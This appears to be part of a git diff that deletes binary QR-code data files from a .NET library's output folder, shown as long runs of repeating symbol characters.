121211111120/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)('('('('('('('('&%&%&%&%&%&%&%&%&%&%&%&%$#$#$#$#$#$#$#$#"!"!"!"!"!"!"!"!        }~}~}~}~}~}~}~}~{|{|{|{|{|{|{|{|{|{|{|{|yzyzyzyzyzyzyzyzwxwxwxwxwxwxwxwxuvuvuvuvuvuvuvuvutstststststststststststqrqrqrqrqrqrqrqropopopopopopopopmnmnmnmnmnmnmnmnmnmnmnmnklklklklklklklklijijijijijijijijghghghghefefefefefefeeeedcdcdcdcdcdcdcdcdcdcdcdcbabababababababa`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYXWXWXWXWXWXWXWXWVUVUVUVUVUVUVUVUVUVUVUVUTSTSTSTSTSTSTSTSRQRQRQRQRQRQRQRQPOPOPOPOPOPOPOPONMNMNMNMNMNMNMNMLKKKKKKLKLKLKLKLIJIJIJIJIJIJIJIJGHGHGHGHGHGHGHGHEFEFEFEFEFEFEFEFCDCDCDCDCDCDCDCDCDCDCDCDABABABABABABABAB?@?@?@?@?@?@?@?@=>=>=>=>=>=>=>=>=>=>=>=<;<;<;<;<;<;<;<;<9:9:9:9:9:9:9:9:78787878787878785656565656565656343434343434343421212121121212120/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)('('('('('('('('&%&%&%&%&%&%&%&%&%&%&%$#$#$#$#$#$#$#$#$#"!"!"!"!"!"!"!"!                  - - - - - - - -             - - - - - - - -             - - - - - - - -             - - - - - - - -           - - - - - - - -         - - - - - - - -         - - - - - - - -         - - - - - - - -         - - - - - - - - - -         - - - - - - - - - - - -         - - - - - - - - - - - -         - - - - - - - - - - - -         - - - - - - - - - -          - - - - - - - -         - - - - - - - -LLKKJJII ==>>??@@yyzz{{||RRQQKKJJ - - UUVVWWXXtssrrqqp00//..--TUUVVWWX~~}EDDCCBBA 45566778pqqrrssteddccbba)((''&&%PQQRRSSTIHHGGFFE - - 01122334lmmnnoopihhggffe-,,++**)LMMNNOOPMLLKKJJI :;;<<==>A@@??>>= OPQQRRSS~~}}DDCCBBAA55667788qqrrssttddccbbaa((''&&%%QQRRSSTTHHGGFFEE - - 11223344mmnnoopphhggffee,,++**))MMNNOOPPLLKKJJII --..//00iijjkkllbbaa``__8899::;;~~KJJIIHHG - 56677889qrrssttudccbbaa`(''&&%%$QRRSSTTUHGGFFEED - - 12233445mnnooppqhggffeed,++**))(MNNOOPPQLKKJJIIH -..//001ijjkkllmlkkjjiih0//..--,\]]^^__`eddccbba,,--..//oppqqrrsccbbaa``''&&%%$$RRSSTTUUGGFFEEDD - - 22334455nnooppqqggffeedd++**))((NNOOPPQQKKJJIIHH ..//0011jjkkllmmkkjjiihh//..--,,HHGGFFEE - - AABBCCDD}}~~IIHHGGFFYYZZ[[\\poonnmml,,++**)) XYYZZ[[\}||{{zzyA@@??>>=899::;;??@@AAB=<<;;::9TTUUVVWW||{{zzyy@@??>>==99::;;<>??GFFEEDDC9::;;<<=uvvwwxxy`__^^]]\$##""!! UVVWWXXY~~}}|DCCBBAA@56677889qrrssttudccbbaa`(''&&%%$QRRSSTTUHGGFFEED - - 12233445mnnooppqhggffeed,++**))(`aabbccda``__^^]00112345sttuuvvw__^^]]\\##""!! VVWWXXYY~~}}||CCBBAA@@66778899rrssttuuccbbaa``''&&%%$$RRSSTTUUGGFFEEDD - - 22334455nnooppqqggffeedd++**))((~~}}DDCCBBAA - - EEFFGGHHEEDDCCBB]]^^__``lkkjihgf((''&&%% !!""##$\]]^^__`yxxwwvvu=<<;;::9<==>>??@xyyzz{{|]\\[[ZZY!  XYYZZ[[\}||{{zzyA@@??>>=899::;;>??@@yyzz{{||\\[[ZZYY  YYZZ[[\\||{{zzyy@@??>>==99::;;<>??@@Ayzz{{||}\[[ZZYYX  !YZZ[[\\]|{{zzyyx@??>>==<9::;;<<=uvvwwxxy`__^^]]\$##""!! UVVWWXXY~~}}|DCCBBAA@56677889qrrssttudccbbaa`(''&&%%$ !!"deekkllm]\\[[ZZY6778899:wxxyyzz{[[ZZYYXX !!ZZ[[\\]]{{zzyyxx??>>==<<::;;<<==vvwwxxyy__^^]]\\##""!! VVWWXXYY~~}}||CCBBAA@@66778899rrssttuuccbbaa``''&&%%$$||{{zzyy@@??>>== IIJJKKLLAA@@??>>aabbccddeeddccbb$$##""!!$%%&&''(`aabbccduttssrrq98877665@AABBCCD|}}~~YXXWWVVU !!""##$\]]^^__`yxxwwvvu=<<;;::9<==>>??@xyyzz{{|]\\[[ZZY!  XYYZZ[[\}||{{zzyA@@??>>=FGGHHIIJ{zzyyxxw0//..--,\\]]^^__ttssrrqq88776655AABBCCDD}}~~XXWWVVUU!!""##$$]]^^__``xxwwvvuu<<;;::99==>>??@@yyzz{{||\\[[ZZYY  YYZZ[[\\||{{zzyy@@??>>==99::;;<>==<<; ABBCCDDE}~~XWWVVUUT!""##$$%]^^__``axwwvvuut<;;::998=>>??@@Ayzz{{||}\[[ZZYYX  !YZZ[[\\]|{{zzyyx@??>>==<9::;;<<=uvvwwxxy`__^^]]\$##""!! "##$$%%&mnnooppqYXXWWVVU -:;;<<==>{||}}~~WWVVUUTT""##$$%%^^__``aawwvvuutt;;::9988>>??@@AAzz{{||}}[[ZZYYXX !!ZZ[[\\]]{{zzyyxx??>>==<<::;;<<==vvwwxxyy__^^]]\\##""!! xxwwvvuu<<;;::99MMNNOOPP==<<;;:: !!""eekkllmmaa``__^^ ())**++,deeffgghqppoonnm54433221 - - DEEFFGGHUTTSSRRQ$%%&&''(`aabbccduttssrrq98877665@AABBCCD|}}~~YXXWWVVU !!""##$\]]^^__`yxxwwvvu=<<;;::9JKKQQRRSwvvuutts,++**))( !!""``aabbccppoonnmm44332211 - - EEFFGGHHTTSSRRQQ%%&&''((aabbccddttssrrqq88776655AABBCCDD}}~~XXWWVVUU!!""##$$]]^^__``xxwwvvuu<<;;::99==>>??@@yyzz{{||RRQQKKJJHHIIJJKK|{{zzyyx;::99887 - - EFFGGHHITSSRRQQP%&&''(()abbccddetssrrqqp87766554 ABBCCDDE}~~XWWVVUUT!""##$$%]^^__``axwwvvuut<;;::998=>>??@@Ayzz{{||}\[[ZZYYX &''(())*qrrssttuUTTSSRRQ - >??@@AABSSRRQQPP&&''(())bbccddeessrrqqpp77665544 BBCCDDEE~~WWVVUUTT""##$$%%^^__``aawwvvuutt;;::9988>>??@@AAzz{{||}}[[ZZYYXXttssrrqq88776655QQRRSSTT~~}}||99887711##$$%%&&nnooppqq]]\\[[ZZ,--..//0hiijjkklmllkkjji100//..- HIIJJKKLQPPOONNM())**++,deeffgghqppoonnm54433221 - - DEEFFGGHUTTSSRRQ$%%&&''(`aabbccduttssrrq98877665 - - STTUUVVWsrrqqppo(''&&%%$##$$%%&&ddeefghillkkjjii00//..-- IIJJKKLLPPOONNMM))**++,,eeffgghhppoonnmm44332211 - - EEFFGGHHTTSSRRQQ%%&&''((aabbccddttssrrqq88776655AABBCCDD}}~~IIHHGGFF QQRRSSTTxwwvvuut76543211 IJJKKLLMPOONNMML)**++,,-effgghhipoonnmml43322110 - - EFFGGHHITSSRRQQP%&&''(()abbccddetssrrqqp87766554 ABBCCDDE}~~XWWVVUUT*++,,--.uvvwwxxyQKKJJIIHBCCDDEEFOONNMMLL**++,,--ffgghhiioonnmmll33221100 - - FFGGHHIISSRRQQPP&&''(())bbccddeessrrqqpp77665544 BBCCDDEE~~WWVVUUTTppoonnmm44332211UUVVWWXX{{zzyyxx00//..--''(())**rrssttuuYYXXWWVV01122334lmmnnoopihhggffe-,,++**)LMMNNOOPMLLKKJJI ,--..//0hiijjkklmllkkjji100//..- HIIJJKKLQPPOONNM())**++,deeffgghqppoonnm54433221 WXXYYZZ[onnmmllk$##""!! ''(())**jkkllmmnhhggffee,,++**))MMNNOOPPLLKKJJII --..//00iijjkkllllkkjjii00//..-- IIJJKKLLPPOONNMM))**++,,eeffgghhppoonnmm44332211 - - EEFFGGHHEEDDCCBB - - UUVVWWXXtssrrqqp00//..--MNNOOPPQLKKJJIIH -..//001ijjkkllmlkkjjiih0//..--, IJJKKLLMPOONNMML)**++,,-effgghhipoonnmml43322110 - - EFFGGHHITSSRRQQP.//00117yzz{{||}HGGFFEED FGGHHIIJKKJJIIHH ..//0011jjkkllmmkkjjiihh//..--,,JJKKLLMMOONNMMLL**++,,--ffgghhiioonnmmll33221100 - - FFGGHHIISSRRQQPPllkkjjii00//..-- YYZZ[[\\wwvvuutt,,++**))++,,--..vvwwxxyyUUTTSSRR45566778pqqrrssteddccbba)((''&&%PQQRRSSTIHHGGFFE - - 01122334lmmnnoopihhggffe-,,++**)LMMNNOOPMLLKKJJI ,--..//0hiijjkklmllkkjji100//..-[\\]]^^_keeddccb ++,,--..nooppqqrddccbbaa((''&&%%QQRRSSTTHHGGFFEE - - 11223344mmnnoopphhggffee,,++**))MMNNOOPPLLKKJJII --..//00iijjkkllllkkjjii00//..-- IIJJKKLLAA@@??>>YYZZ[[\\poonnmml,,++**))QRRSSTTUHGGFFEED - - 12233445mnnooppqhggffeed,++**))(MNNOOPPQLKKJJIIH -..//001ijjkkllmlkkjjiih0//..--, IJJKKLLMPOONNMML78899::;}~~DCCBBAA@ - - JKKLMNOPGGFFEEDD - - 22334455nnooppqqggffeedd++**))((NNOOPPQQKKJJIIHH ..//0011jjkkllmmkkjjiihh//..--,,JJKKLLMMOONNMMLLhhggffee,,++**))!!""##$$]]^^__``ssrrqqpp((''&&%%//001177zz{{||}}QQPONMLK -899::;;>?@??>>==< QQRRSSTT~~}}||CCBBAA@@66778899rrssttuuccbbaa``''&&%%$$RRSSTTUUGGFFEEDD - - 22334455nnooppqqggffeedd++**))((NNOOPPQQKKJJIIHH ddccbbaa((''&&%%%%&&''((aabbccddoonnmmll$$##""!!8899::;;~~KJJIIHHG - <==>>??@xyyzz{{|]\\[[ZZY!  XYYZZ[[\}||{{zzyA@@??>>=899::;;>==99::;;<>==<9::;;<<=uvvwwxxy`__^^]]\$##""!! UVVWWXXY~~}}|DCCBBAA@56677889qrrssttudccbbaa`(''&&%%$QRRSSTTUHGGFFEED - - ?@@AABBC~<;;::998UUVVWWXX{{zzyyxx??>>==<<::;;<<==vvwwxxyy__^^]]\\##""!! VVWWXXYY~~}}||CCBBAA@@66778899rrssttuuccbbaa``''&&%%$$RRSSTTUUGGFFEEDD - -  !!``__^^]]$$##""!!))**++,,eeffgghhkkeeddcc <<==>>??GFFEEDDC@AABBCCD|}}~~YXXWWVVU !!""##$\]]^^__`yxxwwvvu=<<;;::9<==>>??@xyyzz{{|]\\[[ZZY!  XYYZZ[[\}||{{zzyA@@??>>=899::;;>??@@yyzz{{||\\[[ZZYY  YYZZ[[\\||{{zzyy@@??>>==99::;;<>??@@Ayzz{{||}\[[ZZYYX  !YZZ[[\\]|{{zzyyx@??>>==<9::;;<<=uvvwwxxy`__^^]]\$##""!! UVVWWXXY~~}}|DCCBBAA@CDDEEFFG~}}||{{z8771100/YYZZ[[\\wwvvuutt;;::9988>>??@@AAzz{{||}}[[ZZYYXX !!ZZ[[\\]]{{zzyyxx??>>==<<::;;<<==vvwwxxyy__^^]]\\##""!! VVWWXXYY~~}}||CCBBAA@@""##$$%%\\[[ZZYY --..//00iijjkkllbbaa``__@@AABBCCCBBAA@@? - - DEEFFGGHUTTSSRRQ$%%&&''(`aabbccduttssrrq98877665@AABBCCD|}}~~YXXWWVVU !!""##$\]]^^__`yxxwwvvu=<<;;::9<==>>??@xyyzz{{|]\\[[ZZY! %&&''(()pqqrrsstVUUTTSSR - - =>>??@@A~TTSSRRQQ%%&&''((aabbccddttssrrqq88776655AABBCCDD}}~~XXWWVVUU!!""##$$]]^^__``xxwwvvuu<<;;::99==>>??@@yyzz{{||\\[[ZZYY  YYZZ[[\\wwvvuutt,,++**))##$$%%&&nnooppqq]]\\[[ZZ%&&''(()abbccddetssrrqqp87766554 ABBCCDDE}~~XWWVVUUT!""##$$%]^^__``axwwvvuut<;;::998=>>??@@Ayzz{{||}\[[ZZYYX  !YZZ[[\\]|{{zzyyx@??>>==<GHHIIJJKzyyxxwwv/..--,,+]]^^__``ssrrqqpp77665544 BBCCDDEE~~WWVVUUTT""##$$%%^^__``aawwvvuutt;;::9988>>??@@AAzz{{||}}[[ZZYYXX !!ZZ[[\\]]{{zzyyxx??>>==<<&&''(())XXWWVVUU11223344mmnnoopp^^]]\\[[DDEEFFGG~~}}|?>>==<<; HIIJJKKLQPPOONNM())**++,deeffgghqppoonnm54433221 - - DEEFFGGHUTTSSRRQ$%%&&''(`aabbccduttssrrq98877665@AABBCCD|}}~~YXXWWVVU)**++,,-tuuvvwwxRQQKKJJIABBCCDDEPPOONNMM))**++,,eeffgghhppoonnmm44332211 - - EEFFGGHHTTSSRRQQ%%&&''((aabbccddttssrrqq88776655AABBCCDD}}~~XXWWVVUU!!""##$$]]^^__``ssrrqqpp((''&&%%''(())**rrssttuuYYXXWWVV)**++,,-effgghhipoonnmml43322110 - - EFFGGHHITSSRRQQP%&&''(()abbccddetssrrqqp87766554 ABBCCDDE}~~XWWVVUUT!""##$$%]^^__``axwwvvuut<;;::998 KQQRRSSTvuuttssr+**))((' !!""##aabbccddoonnmmll33221100 - - FFGGHHIISSRRQQPP&&''(())bbccddeessrrqqpp77665544 BBCCDDEE~~WWVVUUTT""##$$%%^^__``aawwvvuutt;;::9988**++,,--TTSSRRQQ55667788qqrrssttZZYYXXWW HHIIJJKK|{{zzyyx;::99887LMMNNOOPMLLKKJJI ,--..//0hiijjkklmllkkjji100//..- HIIJJKKLQPPOONNM())**++,deeffgghqppoonnm54433221 - - DEEFFGGHUTTSSRRQ-..//001xyyzz{{|IHHGGFFEEFFGGHHILLKKJJII --..//00iijjkkllllkkjjii00//..-- IIJJKKLLPPOONNMM))**++,,eeffgghhppoonnmm44332211 - - EEFFGGHHTTSSRRQQ%%&&''((aabbccddoonnmmll$$##""!!++,,--..vvwwxxyyUUTTSSRR-..//001ijjkkllmlkkjjiih0//..--, IJJKKLLMPOONNMML)**++,,-effgghhipoonnmml43322110 - - EFFGGHHITSSRRQQP%&&''(()abbccddetssrrqqp87766554 - - TUUVVWWXrqqppoon'&&%%$$#$$%%&&''eefghijkkkjjiihh//..--,,JJKKLLMMOONNMMLL**++,,--ffgghhiioonnmmll33221100 - - FFGGHHIISSRRQQPP&&''(())bbccddeessrrqqpp77665544 ..//0011PPOONNMM99::;;<>??@@AABz{{||}}~[ZZYYXXW !!"Z[[\\]]^{zzyyxxw?>>==<<;:;;<<==>vwwxxyyz_^^]]\\[#""!! VWWXXYYZwvvuutts,++**))(+,,--../vwwxxyyzIHHGGFFE - - @AABBCCD::;;<<==vvwwxxyyUUTTSSRR - - EEFFGGHH~~}}||{>==<<;;: -BCCDDEEF~WVVUUTTS"##$$%%&^__``aabwvvuutts;::99887>??@@AABz{{||}}~[ZZYYXXW !!"Z[[\\]]^srrqqppo(''&&%%$/0011778z{{||}}}EDDCCBBA - - DEEFFGGH>>??@@AAzz{{||}}QQKKJJIIIIJJKKQQ{zzyyxxw:9988776 - FGGHHIIJSRRQQPPO&''(())*bccddeefsrrqqppo76655443 -BCCDDEEF~WVVUUTTS"##$$%%&^__``aabonnmmllk$##""!! 899::;;<}||{{zzyA@@??>>= HIIJJKKLBBCCDDEE~~HHGGFFEE - -RRSSTTUUwvvuutts54321100JKKLLMMNONNMMLLK*++,,--.fgghhiijonnmmllk3221100/ - FGGHHIIJSRRQQPPO&''(())*bccddeefkeeddccb <==>>??@yxxwwvvu=<<;;::9LMMNNOOPFFGGHHIIDDCCBBAA VVWWXXYYsrrqqppo//..--,,NOOPPQQRKJJIIHHG .//00112jkkllmmnkjjiihhg/..--,,+JKKLLMMNONNMMLLK*++,,--.fgghhiijbaa``__^@AABBCCDuttssrrq98877665PQQRRSSTJJKKLLMM@@??>>==ZZ[[\\]]onnmmllk++**))((RSSTTUUVGFFEEDDC - - 23344556nooppqqrgffeeddc+**))(('NOOPPQQRKJJIIHHG .//00112jkkllmmn^]]\\[[ZDEEFFGGHqppoonnm54433221TUUVVWWXNNOOPPQQ<<;;::99^^__``aakjihgfee''&&%%$$VWWXXYYZ~~}}||{CBBAA@@?6778899:rssttuuvcbbaa``_'&&%%$$#RSSTTUUVGFFEEDDC - - 23344556nooppqqrZYYXXWWV HIIJJKKQmllkkjji100//..- XYYZZ[[\RRSSTTUU~~}}||{{88771100bbccddeeddccbbaa##""!!  !!"Z[[\\]]^{zzyyxxw?>>==<<;:;;<<==>vwwxxyyz_^^]]\\[#""!! VWWXXYYZ~~}}||{CBBAA@@?6778899:rssttuuvVUUTTSSR - - -QRRSSTTUihhggffe-,,++**) !!""##$\]]^^__`VVWWXXYYzzyyxxww//..--,, !!""##kkllmmnn``__^^]]"##$$%%&^__``aabwvvuutts;::99887>??@@AABz{{||}}~[ZZYYXXW !!"Z[[\\]]^{zzyyxxw?>>==<<;:;;<<==>vwwxxyyzRQQKKJJI - UVVWWXXYeddccbba)((''&&%$%%&&''(`aabbccdZZ[[\\]]vvuuttss++**))(($$%%&&''ooppqqrr\\[[ZZYY&''(())*bccddeefsrrqqppo76655443 -BCCDDEEF~WVVUUTTS"##$$%%&^__``aabwvvuutts;::99887>??@@AABz{{||}}~IHHGGFFEYZZ[[\\]a``__^^]%$$##""!())**++,deeffggh^^__``aarrqqppoo''&&%%$$(())**++ssttuuvvXXWWVVUU*++,,--.fgghhiijonnmmllk3221100/ - FGGHHIIJSRRQQPPO&''(())*bccddeefsrrqqppo76655443 -BCCDDEEF~EDDCCBBA]^^__``a]\\[[ZZY! ,--..//0hiijjkklbbccddeennmmllkk##""!! ,,--..//wwxxyyzzTTSSRRQQ .//00112jkkllmmnkjjiihhg/..--,,+JKKLLMMNONNMMLLK*++,,--.fgghhiijonnmmllk3221100/ - FGGHHIIJA@@??>>=abbccddeYXXWWVVU01122334lmmnnoopffgghhiieeddccbb00117788{{||}}~~PONMLKKJ - - 23344556nooppqqrgffeeddc+**))(('NOOPPQQRKJJIIHHG .//00112jkkllmmnkjjiihhg/..--,,+JKKLLM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ہJXQrr˂ppJAHr󙐂ˁ`Zf۝`vf۝`vQtJlQtJlt \ No newline at end of file diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv30_2.dat b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv30_2.dat deleted file mode 100644 index 2211b28..0000000 --- a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv30_2.dat +++ /dev/null @@ -1,273 +0,0 @@ -}{|{|{|{|yzyzyzyzuvuvuvuvststststopopopopmnmnmnmnklklklklghghghghdcdcdcdcbabababa^]^]^]^]}}}}}~}~{|{|{|{|yzyzyzyzuvuvuvuvststststopopopopmnmnmnmnklklklklghghghghdcdcdcdcbabababa^]^]^]^]}~}~}~}~{|{|{|{|yzyzyzyzuvuvuvuvststststopopopopmnmnmnmnklklklklghghghghdcdcdcdcbabababa^]^]^]^]}~}~}~}~{|{|{|{|yzyzyzyzuvuvuvuvststststopopopopmnmnmnmnklklklklghghghghdcdcdcdcbabababa^]^]^]^]}~}~}~}~{|{|{|{|yzyzyzyzuvuvuvuvststststopopopopmnmnmnmnkjijijijghghghghdcdcdcdcbabababa^]^]^]^]}~}~}~}~{|{|{|{|yzyzyzyzuvuvuvuvststststopopopopmnmnmnmnijijijijghghghghdcdcdcdcbabababa^]^]^]^]}~}~}~}~{|{|{|{|yxwxwxwxuvuvuvuvststststopopopopmnmnmnmnijijijijghghghghdcdcdcdcbabababa^]^]^]^]}~}~}~}~{|{|{|{|wxwxwxwxuvuvuvuvststststopopopopmnmnmnmnijijijijghghghghdcdcdcdcbabababa^]^]^]^]}~}~}~}~{|{|{|{|wxwxwxwxuvuvuvuvststststopopopopmnmnmnmnijijijijghghghghdcdcdcdcbabababa^]^]^]^]}~}~}~}~{|{|{|{|wxwxwxwxuvuvuvuvststststopopopopmnmnmnmnijijijijghghgfefdcdcdcdcbabababa^]^]^]^]}~}~}~}~{|{|{|{|wxwxwxwxuvuvuvuvststststopopopopmnmnmnmnijijijijefefeeeedcdcdcdcbabababa^]^]^]^]}~}~}~}~{|{|{|{|wxwxwxwxuvuvuvuvststststopopopopmnmnmnmnijijijijefefefefdcdcdcdcbabababa^]^]^]^]}~}~}~}~{|{|{|{|wxwxwxwxuvuvuvuvsrqrqrqropopopopmnmnmnmnijijijijefefefefdcdcdcdc`_`_`_`_^]^]^]^]}~}~}~}~{|{|{|{|wxwxwxwxuvuvuvuvqrqrqrqropopopopmnmnmnmnijijijijefefefefdcdcdcdc`_`_`_`_^]^]^]^]}~}~}~}~{|{|{|{|wxwxwxwxuvuvuvuvqrqrqrqropopopopmnmnmnmnijijijijefefefeedcdcdcdc`_`_`_`_^]^]^]^]}~}~}~}~{|{|{|{|wxwxwxwxuvuvuvuvqrqrqrqropopopopmnmnmnmnijijijijeeeefefedcdcdcdc`_`_`_`_^]^]^]^]}~}~}~}~{|{|{|{|wxwxwxwxuvuvuvuvqrqrqrqropopopopmnmnmnmnijijijijfefefefedcdcdcdc`_`_`_`_^]^]^]^]}~}~}~}~{|{|{|{|wxwxwxwxuvuvuvuvqrqrqrqropopopopmnmnmnmnijijijijfefefefedcdcdcdc`_`_`_`_^]^]^]^]}~}~}~}~{|{|{|{|wxwxwxwxuvuvuvuvqrqrqrqropopopopmlklklklijijijijfefefefedcdcdcdc`_`_`_`_^]^]^]^]}~}~}~}~{|{|{|{|wxwxwxwxuvuvuvuvqrqrqrqropopopopklklklklijijijijfefefefedcdcdcdc`_`_`_`_^]^]^]^]}~}~}~}~{zyzyzyzwxwxwxwxuvuvuvuvqrqrqrqropopopopklklklklijijijijfefefeeedcdcdcdc`_`_`_`_^]^]^]^]}~}~}~}~yzyzyzyzwxwxwxwxuvuvuvuvqrqrqrqropopopopklklklklijijijijeeefefefdcdcdcdc`_`_`_`_^]^]^]^]}~}~}~}~yzyzyzyzwxwxwxwxuvuvuvuvqrqrqrqropopopopklklklklijijijijefefefefdcdcdcdc`_`_`_`_^]^]^]^]}~}~}~}~yzyzyzyzwxwxwxwxuvuvuvuvqrqrqrqropopopopklklklklijijijijefefefefdcdcdcdc`_`_`_`_^]^]^]^]\[\[\[\[}~}~}~}~yzyzyzyzwxwxwxwxuvuvuvuvqrqrqrqropopopopklklklklijijijijefefefefdcdcdcdc`_`_`_`_^]^]^]^]\[\[\[\[}~}~}~}~yzyzyzyzwxwxwxwxuvuvuvuvqrqrqrqropopopopklklklklijijijijefefefefdcdcdcdc`_`_`_`_^]^]^]^]\[\[\[\[}~}~}~}~yzyzyzyzwxwxwxwxutstststqrqrqrqropopopopklklklklijijijijefefeeeebabababa`_`_`_`_^]^]^]^]\[\[\[\[}~}~}~}~yzyzyzyzwxwxwxwxststststqrqrqrqropopopopklklklklijijijijeefefefebabababa`_`_`_`_^]^]^]^]\[\[\[\[}~}~}~}~yzyzyzyzwxwxwxwxststststqrqrqrqropopopopklklklklijijijijfefefefebabababa`_`_`_`_^]^]^]^]\[\[\[\[}~}~}~}~yzyzyzyzwxwxwxwxststststqrqrqrqropopopopklklklklijijijijfefefefebabababa`_`_`_`_^]^]^]^]\[\[\[\[}~}~}~}~yzyzyzyzwxwxwxwxststststqrqrqrqropopopopklklklklijijijihfefefefebabababa`_`_`_`_^]^]^]^]\[\[\[\[}~}~}~}~yzyzyzyzwxwxwxwxststststqrqrqrqropopopopklklklklghghghghfefefefebabababa`_`_`_`_^]^]^]^]\[\[\[\[}~}~}~}~yzyzyzyzwxwxwxwxststststqrqrqrqronmnmnmnklklklklghghghghfefeeeeebabababa`_`_`_`_\[\[\[\[\[\[\[\[}~}~}~}~yzyzyzyzwxwxwxwxststststqrqrqrqrmnmnmnmnklklklklghghghghefefefefbabababa`_`_`_`_\[\[\[\[\[\[\[\[}|{|{|{|yzyzyzyzwxwxwxwxststststqrqrqrqrmnmnmnmnklklklklghghghghefefefefbabababa`_`_`_`_\[\[\[\[\[\[\[\[{|{|{|{|yzyzyzyzwxwxwxwxststststqrqrqrqrmnmnmnmnklklklklghghghghefefefefbabababa`_`_`_`_\[\[\[\[\[\[\[\[{|{|{|{|yzyzyzyzwxwxwxwxststststqrqrqrqrmnmnmnmnklklklklghghghghefefefefbabababa`_`_`_`_\[\[\[\[\[\[\[\[{|{|{|{|yzyzyzyzwxwxwxwxststststqrqrqrqrmnmnmnmnklklklklghghghghefefefefbabababa`_`_`_`_\[\[\[\[\[\[\[\[{|{|{|{|yzyzyzyzwxwxwxwxststststqrqrqrqrmnmnmnmnklklklklghghghghefeeeeeebabababa`_`_`_`_\[\[\[\[\[\[\[\[{|{|{|{|yzyzyzyzwxwxwxwxststststqrqrqrqrmnmnmnmnklklklklghghghghfefefefebabababa`_`_`_`_\[\[\[\[\[\[\[\[{|{|{|{|yzyzyzyzwvuvuvuvststststqrqrqrqrmnmnmnmnklklklklghghghghdcdcdcdcbabababa`_`_`_`_\[\[\[\[\[\[\[\[{|{|{|{|yzyzyzyzuvuvuvuvststststqrqrqrqrmnmnmnmnklklklklghghghghdcdcdcdcbabababa`_`_`_`_\[\[\[\[ZYZYZYZY{|{|{|{|yzyzyzyzuvuvuvuvststststqrqrqrqrmnmnmnmnklklklklghghghghdcdcdcdcbabababa`_`_`_`_\[\[\[\[ZYZYZYZY{|{|{|{|yzyzyzyzuvuvuvuvststststqrqrqrqrmnmnmnmnklklklklghghghghdcdcdcdcbabababa`_`_`_`_\[\[\[\[ZYZYZYZY{|{|{|{|yzyzyzyzuvuvuvuvststststqrqrqrqrmnmnmnmnklklklklghghghghdcdcdcdcbabababa`_`_`_`_\[\[\[\[ZYZYZYZY{|{|{|{|yzyzyzyzuvuvuvuvststststqrqrqrqrmnmnmnmnklklklklghghghghdcdcdcdcbabababa`_`_`_`_\[\[\[\[ZYZYZYZY{|{|{|{|yzyzyzyzuvuvuvuvststststqpopopopmnmnmnmnklklklklghghghghdcdcdcdcbabababa^]^]^]^]\[\[\[\[ZYZYZYZY{|{|{|{|yzyzyzyzuvuvuvuvststststopopopopmnmnmnmnklklklklghghghghdcdcdcdcbabababa^]^]^]^]\[\[\[\[ZYZYZYZYZYZYZYZYXWXWXWXWTSTSTSTSRQRQRQRQNMNMNMNMLKLKLKLKGHGHGHGHEFEFEFEFABABABAB?@?@?@?@=>=>=>=>9:9:9:9:78787878343434340/0/0/0/.-.-.-.-,+,+,+,+('('('('&%&%&%&%"!"!"!"!         ZYZYZYZYXWXWXWXWTSTSTSTSRQRQRQRQNMNMNMNMKKKKKLKLGHGHGHGHEFEFEFEFABABABAB?@?@?@?@=>=>=>=>9:9:9:9:78787878343434340/0/0/0/.-.-.-.-,+,+,+,+('('('('&%&%&%&%"!"!"!"!         ZYZYZYZYXWXWXWXWTSTSTSTSRQRQRQRQNMNMNMNMKLKLKLKLGHGHGHGHEFEFEFEFABABABAB?@?@?@?@=>=>=>=>9:9:9:9:78787878343434340/0/0/0/.-.-.-.-,+,+,+,+('('('('&%&%&%&%"!"!"!"!         - -ZYZYZYZYXWXWXWXWTSTSTSTSRQRQRQRQNMNMNMNMKLKLKLKLGHGHGHGHEFEFEFEFABABABAB?@?@?@?@=>=>=>=>9:9:9:9:78787878343434340/0/0/0/.-.-.-.-,+,+,+,+('('('('&%&%&%&%"!"!"!"!         - - - -ZYZYZYZYXWXWXWXWTSTSTSTSRQRQRQRQNMNMNMNMKLKLKLKLGHGHGHGHEFEFEFEFABABABAB?@?@?@?@=>=>=>=<9:9:9:9:78787878343434340/0/0/0/.-.-.-.-,+,+,+*)('('('('&%&%&%&%"!"!"!"!         - - - -ZYZYZYZYXWXWXWXWTSTSTSTSRQRQRQRQNMNMNMNMKLKKKKKLGHGHGHGHEFEFEFEFABABABAB?@?@?@?@;<;<;<;<9:9:9:9:78787878343434340/0/0/0/.-.-.-.-*)*)*)*)('('('('&%&%&%&%"!"!"!"!         - - - -ZYZYZYZYXWXWXWXWTSTSTSTSRQRQRQRQNMNMNMNMKLKLKLKJGHGHGHGHEFEFEFEFABABABAB?@?@?@?@;<;<;<;<9:9:9:9:78787878343434340/0/0/0/.-.-.-.-*)*)*)*)('('('('&%&%&%&%"!"!"!"!         - - - -ZYZYZYZYXWXWXWXWTSTSTSTSRQRQRQRQNMNMNMNMIJIJIJIJGHGHGHGHEFEFEFEFABABABAB?@?@?@?@;<;<;<;<9:9:9:9:78787878343434340/0/0/0/.-.-.-.-*)*)*)*)('('('('&%&%&%&%"!"!"!"!         - - - -ZYZYZYZYXWXWXWXWTSTSTSTSRQRQRQRQNMNMNMNMIJIJIJIJGHGHGHGHEFEFEFEFABABABAB?@?@?@?@;<;<;<;<9:9:9:9:78787878343434340/0/0/0/.-.-.-.-*)*)*)*)('('('('&%&%&%&%"!"!"!"!         - - - -ZYZYZYZYXWXWXWXWTSTSTSTSRQRQRQRQNMNMNMNMIJIJIJIJGHGHGHGHEFEFEFEFABABABAB?@?@?@?@;<;<;<;<9:9:9:9:78787878343434340/0/0/0/.-.-.-.-*)*)*)*)('('('('&%&%&%&%"!"!"!"!         - - - -ZYZYZYZYXWXWXWXWTSTSTSTSRQRQRQRQNMNMNMNMIJIJIJIJGHGHGHGHEFEFEFEFABABABAB?@?@?@?@;<;<;<;<9:9:9:9:78787876343434340/0/0/0/.-.-.-.-*)*)*)*)('('('('&%&%&%$#"!"!"!"!         - - - 